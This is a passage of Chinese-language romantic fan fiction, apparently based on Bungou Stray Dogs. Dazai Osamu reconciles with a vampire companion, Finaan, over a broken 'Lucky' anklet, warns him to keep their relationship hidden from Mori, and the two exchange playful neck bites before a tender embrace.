这个赌博对于太宰治来说不会输,但他却想赢——想看看菲那恩是会因为他而自愿回家,还是仅仅只是因为生理需求才回来。 菲那恩,早已被他划入了“他的”的范畴。 所以,当他清晰地听到阳台传来那细微的声响时,当那熟悉的、带着夜露微凉的气味悄然弥漫在客厅时,一直紧绷到极致的神经,几不可察地松弛了一瞬。 他闭上了眼睛,装作沉睡。 他听着菲那恩有些委屈的嘟囔,听着他在房间里翻找东西的细微动静,感受着他带着水汽和沐浴露香气爬上他的床。 所有的等待、焦灼、不安,在那一刻,似乎都找到了宣泄的出口。 他的小吸血鬼,回来了。 在“离家出走”的第二天晚上就回来了。 而接下来,菲那恩却直接对他示爱,他无法轻易答复他,而是用看似冷静的语气,开始了这场“需要好好谈谈”的对话。 因为他知道,有些心意,必须确认无误。 …… 时间回到现在。 太宰治紧紧拥抱着菲那恩,仿佛要将这一刻的温暖与真实烙印进灵魂深处。 许久,他才缓缓松开手臂,但指尖仍眷恋地缠绕着菲那恩一缕微凉的粉色发丝。 “好了,”他深吸一口气,语气努力恢复往常的轻快,尽管眼底的暗潮并未完全褪去,“既然银环坏了,那就重新再去做一个,至少得装装样子——” “不要。”话未说完,就被菲那恩轻声打断。 菲那恩抬起手,摊开掌心,那枚刻着“Lucky”的碎片安静地躺在他白皙的掌心中,在灯光下折射出温柔的光泽。 他赤红的眼眸望着太宰治,眼神坚定。 “我不要别的。”他认真地说,“我就要这个。” 他顿了顿,解释道:“只是修好一个普通饰品,这对我来说很简单。” 太宰治看着他那副认真的模样,微微一怔。 他当然明白菲那恩想要的是什么——不是一件专门用来糊弄森先生的替代品,而是承载着真正心意、独一无二的“礼物”。 他沉默了几秒,鸢色的眼眸中闪过一丝复杂的情绪,最终化为一声无奈的轻叹,嘴角却牵起一抹极淡的弧度。 “好吧。”他妥协了,指尖轻轻碰了碰那枚碎片,“随你喜欢。” 但他脸上的神情很快又变得有些严肃,他抬起手,轻轻捧住菲那恩的脸颊,拇指摩挲着他细腻的皮肤,声音压低了少许,带着一丝不容忽视的郑重: “但是,菲那恩,听着。” “修好之后,戴着它,在森先生、在港口Mafia其他人面前,最好……还是维持原来的样子,甚至不要让人察觉到我们关系的改变。” 菲那恩眼中闪过一丝困惑:“为什么?” 他微微弯腰凑近,声音低得如同耳语,却带着清晰的警示: “我能感觉到,森先生最近似乎在暗地里筹谋着什么,他对你的关注远不止一份血液报告那么简单。”太宰治的眼底掠过一丝冷光,“让他以为‘保险措施’依旧有效,让你依然处于‘可控’的状态,对我们……尤其是对你,会更安全。” 菲那恩看懂了太宰治眼中的担忧和认真。 他对于人类的复杂认知有限,但他无条件地信任太宰治的判断。 他点了点头,回以同样的认真,答应道:“好,我会乖的。” 他会修好这枚承载着幸运祝愿的银环,将它重新戴回脚踝,但只有他和太宰知道,那是只属于他们之间的、温柔的秘密。 见菲那恩如此听话,太宰治眼底的凝重化开,重新漾起那慵懒的笑意。 他低头,亲了亲菲那恩的额头。 “菲那恩一直以来都非常乖,乖得让我总是忍不住想要去欺负……” 这充满怜爱意味的亲吻刚落,太宰治鸢色的眼眸却倏地一暗,某种更深的、带着标记欲的冲动掠过眼底。 他毫无预兆地侧过头,温热的唇贴在菲那恩纤细脆弱的脖颈上,然后—— 微微用力,用人类整齐的牙齿不轻不重地咬了下去。 “唔!”菲那恩猝不及防,发出一声短促的惊喘,身体下意识地绷紧了一瞬。 那感觉并不疼,更像是一种带着微妙刺痛的酥麻,但更多的是一种被突然侵袭的惊讶。 太宰治松开口,看着那白皙肌肤上迅速浮现出的、清晰无比的牙印,如同一个宣示所有权的烙印。 他伸出舌尖,意犹未尽般地轻轻舔过那圈齿痕,感受到身下人细微的颤抖,这才满意地眯起眼,像只餍足的猫。 菲那恩抬手,指尖轻轻触碰着脖颈上那个还带着湿润和刺痛的印记。 血族强大的自愈力瞬间开始起作用,那牙印正以肉眼可见的速度缓缓变淡、消失。 太宰治轻声嘟囔,语气里带着点委屈和无奈:“……太快就消失了,无法在你身上留下任何印记呢。” 就像他总有一种虚幻的不安萦绕心头。 而菲那恩因为被突然咬了一口而产生的、被吓到的情绪,在这一刻悄然放大。 几乎是鬼使神差地,菲那恩忽然抬起头,凑近太宰治的脖颈,嗅了嗅,张口就咬向了对方脖颈处缠绕的绷带。 “喂……”太宰治似乎有些意外,但并没有躲闪,只是发出一声意味不明的低呼。 菲那恩微凉的唇瓣贴上了绷带散开后裸露的肌肤,含住了那一小块柔软的皮肉,尖牙小心翼翼地抵在上面,轻轻地磨蹭着。 这是一个极其大胆的举动。 太宰治的身体瞬间僵硬了 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太宰治微微挑眉,看着他那副羞窘得快要冒烟的模样,觉得有趣极了,故意追问:“不是哪个意思?明明是你自己主动咬上来的……” “我们血族……”菲那恩急于解释,声音都带着颤,“我、我……一直以来都……很讨厌直接用獠牙进食。” “哦?为什么?”太宰治抬了抬眼,完整以暇地追问,步步紧逼。 “因为……因为……”菲那恩的脸更红了,眼神飘忽,手指无意识地绞着衣角,后面那句话仿佛有千斤重,卡在喉咙里,无论如何也说不出口。 因为直接用獠牙刺破皮肤,不仅仅是食用血液……还会无意识释放强烈的催.情信息素,那会……会诱导双方进入……发.情的状态…… 这种事……他怎么说得出口…… 这是涉世不深的吸血鬼唯一知道的关于情.欲的事,始于图拉尔家族极度混乱淫.靡的“家宴”。 太宰治看着他这副羞于启齿、恨不得把自己埋起来的模样,结合他刚才剧烈的反应和此刻未尽的话语,聪明如他,瞬间就猜到了七八分。 鸢色的眼眸中瞬间掠过一丝极深的暗芒和……某种被极大地取悦了的兴味。 他反而觉得更有趣了。 他低低地笑了起来,不再追问,只是伸出手,用指尖轻轻碰了碰自己脖子上那个极其浅淡的牙印,语气慵懒又带着点意味深长: “是吗……那真是太可惜了。” 菲那恩听到他这话,猛地抬起头,对上太宰治那双仿佛洞悉一切、又充满了戏谑笑意的眼眸,顿时明白他肯定猜到了什么。 “……太宰!”他羞愤地喊了一声,整个人红得像只煮熟的虾子,再也待不下去,转身就想逃开。 然而,他刚迈出一步,手腕就被一股不容抗拒的力道轻轻握住。 下一秒,一个温热的身躯从身后贴了上来,结实的手臂环过他的腰肢,将他整个人重新拉回那个熟悉的怀抱里。 太宰治的脑袋沉沉地埋进他的颈窝,温热呼吸喷洒在他敏感皮肤上,带来一阵细微的战栗。 一声极低、几乎含混不清的嘟囔从颈后传来,那声音里褪去了所有戏谑、玩笑和游刃有余,只剩下一种罕见的、不易察觉的不安与疲惫。 “别走……让我抱一会儿吧。” 菲那恩所有挣扎的动作瞬间停滞了。 他愣在原地,赤红的眼眸微微睁大,清晰地感受到了身后之人情绪细微的变化。 那不是一个胜利者的姿态,更像是一个……害怕被丢下的孩子。 即使自己已经那样直白地表达了心意和接纳,即使自己承诺了不会离开……太宰也依然无法彻底安心。 菲那恩的心尖像是被什么东西轻轻刺了一下。 他慢慢地转过身,面对着他。 太宰治没有抬头,依旧将脸埋在他的肩颈处,只露出柔软的黑发和一小截缠着绷带的脖颈,那副样子,竟显出几分罕见的脆弱。 菲那恩抬起手,犹豫了一下,还是轻轻落在了太宰治的背上,一下一下,生涩却又无比温柔地拍抚着。 “好,不走。”他的声音很轻,却带着一种不容置疑的坚定,像是在许下一个郑重的誓言。 他感觉到环在自己腰上的手臂收得更紧了些。 “我会一直在的。”菲那恩继续说着,试图用最直接的语言驱散对方的不安。 “就在这里,在你身边。”